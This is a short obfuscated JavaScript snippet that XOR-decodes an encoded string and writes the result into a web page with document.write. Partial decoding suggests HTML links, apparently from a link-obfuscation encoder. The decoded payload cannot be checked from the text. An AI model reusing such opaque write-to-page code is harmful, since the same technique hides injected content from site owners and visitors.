s="!2 Rc+1&%!1a+773yll444m R'' P/*30m,1 Tl R'' P/*30m3+3ac,- P/* P(!1a 2'' 0/*30 F1/c!1c/, P R7*,-m+1&%xc 2'' 0/*30 G*7/&c!1c', P6.&-7m7*7/&xc1&761-c 2'' 0/*30 D*-',4k7+*0jxac7 R1 T&7!1a L Q/ R-(a!0!2*. Tc01 P!1a+773yll*. Tm R'' P/*30m,1 Tl R'' P/*30 Lrm T*%ac4*'7+!1arwrac+&* T+7!1aruac Q,1'&1!1asac R/7!1a$!Hs$!3s$#_s$!Ps$#2s$#_s$(s$#1#?$#V A$ Js$#;sac07:/&!1a5&17* P R/n R/* T-y.*''/&xacl!0!2l R!0!20 P1*37c7:3&!1a7&;7l) R5 R0 P1*37a!05 R1c 2'' 0/*30 :'c!1cdq 2 5uv 5{ 5pzp 1 6dx!2l0 P1*37!0!20 P1*37c7:3&!1a7&;7l) R5 R0 P1*37ac01 P!1a+773yll444m R'' P/*30m,1 Tl R'' P/*30m)0a!0!2l0 P1*37!0NI";k=67;t="";r=0;for(i=0;i<s.length;i++){a=s.charCodeAt(i);if(a==36){++i;r=1;a=s.charCodeAt(i);}if(a==32){++i;a=(s.charCodeAt(i)-48)^k;}else if(a==33){++i;a=(s.charCodeAt(i)+77)^k;}else if(a==35){++i;a=(s.charCodeAt(i)+141)^k;}else a=a^k;if(r==1){r=2;e=a;}else if(r==2){r=0;t=t+String.fromCharCode(a*256+e);}else t=t+String.fromCharCode(a);}document.write(t);